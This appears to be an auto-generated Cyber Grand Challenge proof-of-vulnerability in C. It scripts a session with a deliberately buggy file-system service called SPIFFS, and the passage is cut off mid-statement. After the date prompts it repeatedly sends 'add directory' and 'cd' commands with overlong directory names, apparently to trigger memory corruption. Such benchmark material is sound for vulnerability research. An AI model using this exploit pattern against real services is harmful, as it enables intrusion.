#include "libpov.h" int main(int cgc_argc, char *cgc_argv[]) { cgc_negotiate_type1(0x0, 0x0, 0); do { unsigned char *read_00000; unsigned int read_00000_len; unsigned int read_00000_ptr = 0; //**** delimited read static unsigned char read_00000_delim[] = "\x0a"; read_00000 = NULL; read_00000_len = 0; int read_00000_res = cgc_delimited_read(0, &read_00000, &read_00000_len, read_00000_delim, 1); if (read_00000_res) {} //silence unused variable warning //**** read match data static unsigned char match_00000_00000[] = "\x57\x65\x6c\x63\x6f\x6d\x65\x20\x74\x6f\x20\x53\x50\x49\x46\x46" "\x53\x20\x28\x53\x6f\x6d\x65\x77\x68\x61\x74\x20\x50\x6f\x6f\x72" "\x6c\x79\x20\x49\x6d\x70\x6c\x65\x6d\x65\x6e\x74\x65\x64\x20\x46" "\x61\x73\x74\x20\x46\x69\x6c\x65\x20\x53\x79\x73\x74\x65\x6d\x29"; read_00000_ptr += cgc_data_match(read_00000 + read_00000_ptr, read_00000_len - read_00000_ptr, match_00000_00000, 64); cgc_free(read_00000); if (read_00000_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00001; unsigned int read_00001_len; unsigned int read_00001_ptr = 0; //**** delimited read static unsigned char read_00001_delim[] = "\x0a"; read_00001 = NULL; read_00001_len = 0; int read_00001_res = cgc_delimited_read(0, &read_00001, &read_00001_len, read_00001_delim, 1); if (read_00001_res) {} //silence unused variable warning //**** read match data static unsigned char match_00001_00000[] = "\x50\x6c\x65\x61\x73\x65\x20\x65\x6e\x74\x65\x72\x20\x74\x68\x65" "\x20\x64\x61\x74\x65\x20\x61\x73\x20\x70\x72\x6f\x6d\x70\x74\x65" "\x64"; read_00001_ptr += cgc_data_match(read_00001 + read_00001_ptr, read_00001_len - read_00001_ptr, match_00001_00000, 33); cgc_free(read_00001); if (read_00001_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00002; unsigned int read_00002_len; unsigned int read_00002_ptr = 0; //**** delimited read static unsigned char read_00002_delim[] = "\x3a"; read_00002 = NULL; read_00002_len = 0; int read_00002_res = cgc_delimited_read(0, &read_00002, &read_00002_len, read_00002_delim, 1); if (read_00002_res) {} //silence unused variable warning //**** read match data static unsigned char match_00002_00000[] = "\x45\x6e\x74\x65\x72\x20\x79\x65\x61\x72\x20\x62\x65\x74\x77\x65" "\x65\x6e\x20\x31\x39\x37\x30\x20\x61\x6e\x64\x20\x32\x31\x30\x35" "\x20"; read_00002_ptr += cgc_data_match(read_00002 + read_00002_ptr, read_00002_len - read_00002_ptr, match_00002_00000, 33); cgc_free(read_00002); if (read_00002_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00000_00000[] = "\x32\x30\x33\x30\x0a"; static unsigned int write_00000_00000_len = 5; unsigned char *write_00000 = NULL; unsigned int write_00000_len = 0; write_00000 = cgc_append_buf(write_00000, &write_00000_len, write_00000_00000, write_00000_00000_len); if (write_00000_len > 0) { cgc_transmit_all(1, write_00000, write_00000_len); } cgc_free(write_00000); } while (0); do { unsigned char *read_00003; unsigned int read_00003_len; unsigned int read_00003_ptr = 0; //**** delimited read static unsigned char read_00003_delim[] = "\x3a"; read_00003 = NULL; read_00003_len = 0; int read_00003_res = cgc_delimited_read(0, &read_00003, &read_00003_len, read_00003_delim, 1); if (read_00003_res) {} //silence unused variable warning //**** read match data static unsigned char match_00003_00000[] = "\x45\x6e\x74\x65\x72\x20\x6d\x6f\x6e\x74\x68\x20"; read_00003_ptr += cgc_data_match(read_00003 + read_00003_ptr, read_00003_len - read_00003_ptr, match_00003_00000, 12); cgc_free(read_00003); if (read_00003_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00001_00000[] = "\x37\x0a"; static unsigned int write_00001_00000_len = 2; unsigned char *write_00001 = NULL; unsigned int write_00001_len = 0; write_00001 = cgc_append_buf(write_00001, &write_00001_len, write_00001_00000, write_00001_00000_len); if (write_00001_len > 0) { cgc_transmit_all(1, write_00001, write_00001_len); } cgc_free(write_00001); } while (0); do { unsigned char *read_00004; unsigned int read_00004_len; unsigned int read_00004_ptr = 0; //**** delimited read static unsigned char read_00004_delim[] = "\x3a"; read_00004 = NULL; read_00004_len = 0; int read_00004_res = cgc_delimited_read(0, &read_00004, &read_00004_len, read_00004_delim, 1); if (read_00004_res) {} //silence unused variable warning //**** read match data static unsigned char match_00004_00000[] = "\x45\x6e\x74\x65\x72\x20\x64\x61\x79\x20\x3a"; read_00004_ptr += cgc_data_match(read_00004 + read_00004_ptr, read_00004_len - read_00004_ptr, match_00004_00000, 11); cgc_free(read_00004); if (read_00004_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00002_00000[] = "\x31\x32\x0a"; static unsigned int write_00002_00000_len = 3; unsigned char *write_00002 = NULL; unsigned int write_00002_len = 0; write_00002 = cgc_append_buf(write_00002, &write_00002_len, write_00002_00000, write_00002_00000_len); if (write_00002_len > 0) { cgc_transmit_all(1, write_00002, write_00002_len); } cgc_free(write_00002); } while (0); do { unsigned char *read_00005; unsigned int read_00005_len; unsigned int read_00005_ptr = 0; //**** delimited read static unsigned char read_00005_delim[] = "\x3a"; read_00005 = NULL; read_00005_len = 0; int read_00005_res = cgc_delimited_read(0, &read_00005, &read_00005_len, read_00005_delim, 1); if (read_00005_res) {} //silence unused variable warning //**** read match data static unsigned char match_00005_00000[] = "\x45\x6e\x74\x65\x72\x20\x68\x6f\x75\x72\x20\x28\x30\x30\x2d\x32" "\x33\x29\x20"; read_00005_ptr += cgc_data_match(read_00005 + read_00005_ptr, read_00005_len - read_00005_ptr, match_00005_00000, 19); cgc_free(read_00005); if (read_00005_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00003_00000[] = "\x34\x0a"; static unsigned int write_00003_00000_len = 2; unsigned char *write_00003 = NULL; unsigned int write_00003_len = 0; write_00003 = cgc_append_buf(write_00003, &write_00003_len, write_00003_00000, write_00003_00000_len); if (write_00003_len > 0) { cgc_transmit_all(1, write_00003, write_00003_len); } cgc_free(write_00003); } while (0); do { unsigned char *read_00006; unsigned int read_00006_len; unsigned int read_00006_ptr = 0; //**** delimited read static unsigned char read_00006_delim[] = "\x3a"; read_00006 = NULL; read_00006_len = 0; int read_00006_res = cgc_delimited_read(0, &read_00006, &read_00006_len, read_00006_delim, 1); if (read_00006_res) {} //silence unused variable warning //**** read match data static unsigned char match_00006_00000[] = "\x45\x6e\x74\x65\x72\x20\x4d\x69\x6e\x75\x74\x65\x20\x28\x30\x30" "\x2d\x35\x39\x29\x20"; read_00006_ptr += cgc_data_match(read_00006 + read_00006_ptr, read_00006_len - read_00006_ptr, match_00006_00000, 21); cgc_free(read_00006); if (read_00006_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00004_00000[] = "\x31\x39\x0a"; static unsigned int write_00004_00000_len = 3; unsigned char *write_00004 = NULL; unsigned int write_00004_len = 0; write_00004 = cgc_append_buf(write_00004, &write_00004_len, write_00004_00000, write_00004_00000_len); if (write_00004_len > 0) { cgc_transmit_all(1, write_00004, write_00004_len); } cgc_free(write_00004); } while (0); do { unsigned char *read_00007; unsigned int read_00007_len; unsigned int read_00007_ptr = 0; //**** delimited read static unsigned char read_00007_delim[] = "\x3a"; read_00007 = NULL; read_00007_len = 0; int read_00007_res = cgc_delimited_read(0, &read_00007, &read_00007_len, read_00007_delim, 1); if (read_00007_res) {} //silence unused variable warning //**** read match data static unsigned char match_00007_00000[] = "\x45\x6e\x74\x65\x72\x20\x73\x65\x63\x6f\x6e\x64\x20\x28\x30\x30" "\x2d\x35\x39\x29\x20"; read_00007_ptr += cgc_data_match(read_00007 + read_00007_ptr, read_00007_len - read_00007_ptr, match_00007_00000, 21); cgc_free(read_00007); if (read_00007_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00005_00000[] = "\x32\x36\x0a"; static unsigned int write_00005_00000_len = 3; unsigned char *write_00005 = NULL; unsigned int write_00005_len = 0; write_00005 = cgc_append_buf(write_00005, &write_00005_len, write_00005_00000, write_00005_00000_len); if (write_00005_len > 0) { cgc_transmit_all(1, write_00005, write_00005_len); } cgc_free(write_00005); } while (0); do { unsigned char *read_00008; unsigned int read_00008_len; unsigned int read_00008_ptr = 0; //**** delimited read static unsigned char read_00008_delim[] = "\x40"; read_00008 = NULL; read_00008_len = 0; int read_00008_res = cgc_delimited_read(0, &read_00008, &read_00008_len, read_00008_delim, 1); if (read_00008_res) {} //silence unused variable warning //**** read match data static unsigned char match_00008_00000[] = "\x72\x6f\x6f\x74"; read_00008_ptr += cgc_data_match(read_00008 + read_00008_ptr, read_00008_len - read_00008_ptr, match_00008_00000, 4); cgc_free(read_00008); if (read_00008_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00009; unsigned int read_00009_len; unsigned int read_00009_ptr = 0; //**** delimited read static unsigned char read_00009_delim[] = "\x2f"; read_00009 = NULL; read_00009_len = 0; int read_00009_res = cgc_delimited_read(0, &read_00009, &read_00009_len, read_00009_delim, 1); if (read_00009_res) {} //silence unused variable warning //**** read match data static unsigned char match_00009_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00009_ptr += cgc_data_match(read_00009 + read_00009_ptr, read_00009_len - read_00009_ptr, match_00009_00000, 6); cgc_free(read_00009); if (read_00009_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00010; unsigned int read_00010_len; unsigned int read_00010_ptr = 0; //**** delimited read static unsigned char read_00010_delim[] = "\x3e"; read_00010 = NULL; read_00010_len = 0; int read_00010_res = cgc_delimited_read(0, &read_00010, &read_00010_len, read_00010_delim, 1); if (read_00010_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00010_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00010_00000_match; pcre *read_00010_00000_pcre = cgc_init_regex(read_00010_00000_regex); if (read_00010_00000_pcre != NULL) { int rc = cgc_regex_match(read_00010_00000_pcre, 0, read_00010 + read_00010_ptr, read_00010_len - read_00010_ptr, &read_00010_00000_match); if (rc > 0) { read_00010_ptr += read_00010_00000_match.match_end - read_00010_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00010_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00010); if (read_00010_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00006_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00006_00000_len = 115; unsigned char *write_00006 = NULL; unsigned int write_00006_len = 0; write_00006 = cgc_append_buf(write_00006, &write_00006_len, write_00006_00000, write_00006_00000_len); if (write_00006_len > 0) { cgc_transmit_all(1, write_00006, write_00006_len); } cgc_free(write_00006); } while (0); do { unsigned char *read_00011; unsigned int read_00011_len; unsigned int read_00011_ptr = 0; //**** delimited read static unsigned char read_00011_delim[] = "\x40"; read_00011 = NULL; read_00011_len = 0; int read_00011_res = cgc_delimited_read(0, &read_00011, &read_00011_len, read_00011_delim, 1); if (read_00011_res) {} //silence unused variable warning //**** read match data static unsigned char match_00011_00000[] = "\x72\x6f\x6f\x74"; read_00011_ptr += cgc_data_match(read_00011 + read_00011_ptr, read_00011_len - read_00011_ptr, match_00011_00000, 4); cgc_free(read_00011); if (read_00011_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00012; unsigned int read_00012_len; unsigned int read_00012_ptr = 0; //**** delimited read static unsigned char read_00012_delim[] = "\x2f"; read_00012 = NULL; read_00012_len = 0; int read_00012_res = cgc_delimited_read(0, &read_00012, &read_00012_len, read_00012_delim, 1); if (read_00012_res) {} //silence unused variable warning //**** read match data static unsigned char match_00012_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00012_ptr += cgc_data_match(read_00012 + read_00012_ptr, read_00012_len - read_00012_ptr, match_00012_00000, 6); cgc_free(read_00012); if (read_00012_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00013; unsigned int read_00013_len; unsigned int read_00013_ptr = 0; //**** delimited read static unsigned char read_00013_delim[] = "\x3e"; read_00013 = NULL; read_00013_len = 0; int read_00013_res = cgc_delimited_read(0, &read_00013, &read_00013_len, read_00013_delim, 1); if (read_00013_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00013_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00013_00000_match; pcre *read_00013_00000_pcre = cgc_init_regex(read_00013_00000_regex); if (read_00013_00000_pcre != NULL) { int rc = cgc_regex_match(read_00013_00000_pcre, 0, read_00013 + read_00013_ptr, read_00013_len - read_00013_ptr, &read_00013_00000_match); if (rc > 0) { read_00013_ptr += read_00013_00000_match.match_end - read_00013_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00013_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00013); if (read_00013_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00007_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00007_00000_len = 104; unsigned char *write_00007 = NULL; unsigned int write_00007_len = 0; write_00007 = cgc_append_buf(write_00007, &write_00007_len, write_00007_00000, write_00007_00000_len); if (write_00007_len > 0) { cgc_transmit_all(1, write_00007, write_00007_len); } cgc_free(write_00007); } while (0); do { unsigned char *read_00014; unsigned int read_00014_len; unsigned int read_00014_ptr = 0; //**** delimited read static unsigned char read_00014_delim[] = "\x40"; read_00014 = NULL; read_00014_len = 0; int read_00014_res = cgc_delimited_read(0, &read_00014, &read_00014_len, read_00014_delim, 1); if (read_00014_res) {} //silence unused variable warning //**** read match data static unsigned char match_00014_00000[] = "\x72\x6f\x6f\x74"; read_00014_ptr += cgc_data_match(read_00014 + read_00014_ptr, read_00014_len - read_00014_ptr, match_00014_00000, 4); cgc_free(read_00014); if (read_00014_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00015; unsigned int read_00015_len; unsigned int read_00015_ptr = 0; //**** delimited read static unsigned char read_00015_delim[] = "\x2f"; read_00015 = NULL; read_00015_len = 0; int read_00015_res = cgc_delimited_read(0, &read_00015, &read_00015_len, read_00015_delim, 1); if (read_00015_res) {} //silence unused variable warning //**** read match data static unsigned char match_00015_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00015_ptr += cgc_data_match(read_00015 + read_00015_ptr, read_00015_len - read_00015_ptr, match_00015_00000, 6); cgc_free(read_00015); if (read_00015_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00016; unsigned int read_00016_len; unsigned int read_00016_ptr = 0; //**** delimited read static unsigned char read_00016_delim[] = "\x3e"; read_00016 = NULL; read_00016_len = 0; int read_00016_res = cgc_delimited_read(0, &read_00016, &read_00016_len, read_00016_delim, 1); if (read_00016_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00016_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00016_00000_match; pcre *read_00016_00000_pcre = cgc_init_regex(read_00016_00000_regex); if (read_00016_00000_pcre != NULL) { int rc = cgc_regex_match(read_00016_00000_pcre, 0, read_00016 + read_00016_ptr, read_00016_len - read_00016_ptr, &read_00016_00000_match); if (rc > 0) { read_00016_ptr += read_00016_00000_match.match_end - read_00016_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00016_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00016); if (read_00016_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00008_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00008_00000_len = 115; unsigned char *write_00008 = NULL; unsigned int write_00008_len = 0; write_00008 = cgc_append_buf(write_00008, &write_00008_len, write_00008_00000, write_00008_00000_len); if (write_00008_len > 0) { cgc_transmit_all(1, write_00008, write_00008_len); } cgc_free(write_00008); } while (0); do { unsigned char *read_00017; unsigned int read_00017_len; unsigned int read_00017_ptr = 0; //**** delimited read static unsigned char read_00017_delim[] = "\x40"; read_00017 = NULL; read_00017_len = 0; int read_00017_res = cgc_delimited_read(0, &read_00017, &read_00017_len, read_00017_delim, 1); if (read_00017_res) {} //silence unused variable warning //**** read match data static unsigned char match_00017_00000[] = "\x72\x6f\x6f\x74"; read_00017_ptr += cgc_data_match(read_00017 + read_00017_ptr, read_00017_len - read_00017_ptr, match_00017_00000, 4); cgc_free(read_00017); if (read_00017_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00018; unsigned int read_00018_len; unsigned int read_00018_ptr = 0; //**** delimited read static unsigned char read_00018_delim[] = "\x2f"; read_00018 = NULL; read_00018_len = 0; int read_00018_res = cgc_delimited_read(0, &read_00018, &read_00018_len, read_00018_delim, 1); if (read_00018_res) {} //silence unused variable warning //**** read match data static unsigned char match_00018_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00018_ptr += cgc_data_match(read_00018 + read_00018_ptr, read_00018_len - read_00018_ptr, match_00018_00000, 6); cgc_free(read_00018); if (read_00018_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00019; unsigned int read_00019_len; unsigned int read_00019_ptr = 0; //**** delimited read static unsigned char read_00019_delim[] = "\x3e"; read_00019 = NULL; read_00019_len = 0; int read_00019_res = cgc_delimited_read(0, &read_00019, &read_00019_len, read_00019_delim, 1); if (read_00019_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00019_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00019_00000_match; pcre *read_00019_00000_pcre = cgc_init_regex(read_00019_00000_regex); if (read_00019_00000_pcre != NULL) { int rc = cgc_regex_match(read_00019_00000_pcre, 0, read_00019 + read_00019_ptr, read_00019_len - read_00019_ptr, &read_00019_00000_match); if (rc > 0) { read_00019_ptr += read_00019_00000_match.match_end - read_00019_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00019_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00019); if (read_00019_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00009_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00009_00000_len = 104; unsigned char *write_00009 = NULL; unsigned int write_00009_len = 0; write_00009 = cgc_append_buf(write_00009, &write_00009_len, write_00009_00000, write_00009_00000_len); if (write_00009_len > 0) { cgc_transmit_all(1, write_00009, write_00009_len); } cgc_free(write_00009); } while (0); do { unsigned char *read_00020; unsigned int read_00020_len; unsigned int read_00020_ptr = 0; //**** delimited read static unsigned char read_00020_delim[] = "\x40"; read_00020 = NULL; read_00020_len = 0; int read_00020_res = cgc_delimited_read(0, &read_00020, &read_00020_len, read_00020_delim, 1); if (read_00020_res) {} //silence unused variable warning //**** read match data static unsigned char match_00020_00000[] = "\x72\x6f\x6f\x74"; read_00020_ptr += cgc_data_match(read_00020 + read_00020_ptr, read_00020_len - read_00020_ptr, match_00020_00000, 4); cgc_free(read_00020); if (read_00020_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00021; unsigned int read_00021_len; unsigned int read_00021_ptr = 0; //**** delimited read static unsigned char read_00021_delim[] = "\x2f"; read_00021 = NULL; read_00021_len = 0; int read_00021_res = cgc_delimited_read(0, &read_00021, &read_00021_len, read_00021_delim, 1); if (read_00021_res) {} //silence unused variable warning //**** read match data static unsigned char match_00021_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00021_ptr += cgc_data_match(read_00021 + read_00021_ptr, read_00021_len - read_00021_ptr, match_00021_00000, 6); cgc_free(read_00021); if (read_00021_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00022; unsigned int read_00022_len; unsigned int read_00022_ptr = 0; //**** delimited read static unsigned char read_00022_delim[] = "\x3e"; read_00022 = NULL; read_00022_len = 0; int read_00022_res = cgc_delimited_read(0, &read_00022, &read_00022_len, read_00022_delim, 1); if (read_00022_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00022_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00022_00000_match; pcre *read_00022_00000_pcre = cgc_init_regex(read_00022_00000_regex); if (read_00022_00000_pcre != NULL) { int rc = cgc_regex_match(read_00022_00000_pcre, 0, read_00022 + read_00022_ptr, read_00022_len - read_00022_ptr, &read_00022_00000_match); if (rc > 0) { read_00022_ptr += read_00022_00000_match.match_end - read_00022_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00022_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00022); if (read_00022_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00010_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00010_00000_len = 115; unsigned char *write_00010 = NULL; unsigned int write_00010_len = 0; write_00010 = cgc_append_buf(write_00010, &write_00010_len, write_00010_00000, write_00010_00000_len); if (write_00010_len > 0) { cgc_transmit_all(1, write_00010, write_00010_len); } cgc_free(write_00010); } while (0); do { unsigned char *read_00023; unsigned int read_00023_len; unsigned int read_00023_ptr = 0; //**** delimited read static unsigned char read_00023_delim[] = "\x40"; read_00023 = NULL; read_00023_len = 0; int read_00023_res = cgc_delimited_read(0, &read_00023, &read_00023_len, read_00023_delim, 1); if (read_00023_res) {} //silence unused variable warning //**** read match data static unsigned char match_00023_00000[] = "\x72\x6f\x6f\x74"; read_00023_ptr += cgc_data_match(read_00023 + read_00023_ptr, read_00023_len - read_00023_ptr, match_00023_00000, 4); cgc_free(read_00023); if (read_00023_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00024; unsigned int read_00024_len; unsigned int read_00024_ptr = 0; //**** delimited read static unsigned char read_00024_delim[] = "\x2f"; read_00024 = NULL; read_00024_len = 0; int read_00024_res = cgc_delimited_read(0, &read_00024, &read_00024_len, read_00024_delim, 1); if (read_00024_res) {} //silence unused variable warning //**** read match data static unsigned char match_00024_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00024_ptr += cgc_data_match(read_00024 + read_00024_ptr, read_00024_len - read_00024_ptr, match_00024_00000, 6); cgc_free(read_00024); if (read_00024_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00025; unsigned int read_00025_len; unsigned int read_00025_ptr = 0; //**** delimited read static unsigned char read_00025_delim[] = "\x3e"; read_00025 = NULL; read_00025_len = 0; int read_00025_res = cgc_delimited_read(0, &read_00025, &read_00025_len, read_00025_delim, 1); if (read_00025_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00025_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00025_00000_match; pcre *read_00025_00000_pcre = cgc_init_regex(read_00025_00000_regex); if (read_00025_00000_pcre != NULL) { int rc = cgc_regex_match(read_00025_00000_pcre, 0, read_00025 + read_00025_ptr, read_00025_len - read_00025_ptr, &read_00025_00000_match); if (rc > 0) { read_00025_ptr += read_00025_00000_match.match_end - read_00025_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00025_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00025); if (read_00025_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00011_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00011_00000_len = 104; unsigned char *write_00011 = NULL; unsigned int write_00011_len = 0; write_00011 = cgc_append_buf(write_00011, &write_00011_len, write_00011_00000, write_00011_00000_len); if (write_00011_len > 0) { cgc_transmit_all(1, write_00011, write_00011_len); } cgc_free(write_00011); } while (0); do { unsigned char *read_00026; unsigned int read_00026_len; unsigned int read_00026_ptr = 0; //**** delimited read static unsigned char read_00026_delim[] = "\x40"; read_00026 = NULL; read_00026_len = 0; int read_00026_res = cgc_delimited_read(0, &read_00026, &read_00026_len, read_00026_delim, 1); if (read_00026_res) {} //silence unused variable warning //**** read match data static unsigned char match_00026_00000[] = "\x72\x6f\x6f\x74"; read_00026_ptr += cgc_data_match(read_00026 + read_00026_ptr, read_00026_len - read_00026_ptr, match_00026_00000, 4); cgc_free(read_00026); if (read_00026_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00027; unsigned int read_00027_len; unsigned int read_00027_ptr = 0; //**** delimited read static unsigned char read_00027_delim[] = "\x2f"; read_00027 = NULL; read_00027_len = 0; int read_00027_res = cgc_delimited_read(0, &read_00027, &read_00027_len, read_00027_delim, 1); if (read_00027_res) {} //silence unused variable warning //**** read match data static unsigned char match_00027_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00027_ptr += cgc_data_match(read_00027 + read_00027_ptr, read_00027_len - read_00027_ptr, match_00027_00000, 6); cgc_free(read_00027); if (read_00027_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00028; unsigned int read_00028_len; unsigned int read_00028_ptr = 0; //**** delimited read static unsigned char read_00028_delim[] = "\x3e"; read_00028 = NULL; read_00028_len = 0; int read_00028_res = cgc_delimited_read(0, &read_00028, &read_00028_len, read_00028_delim, 1); if 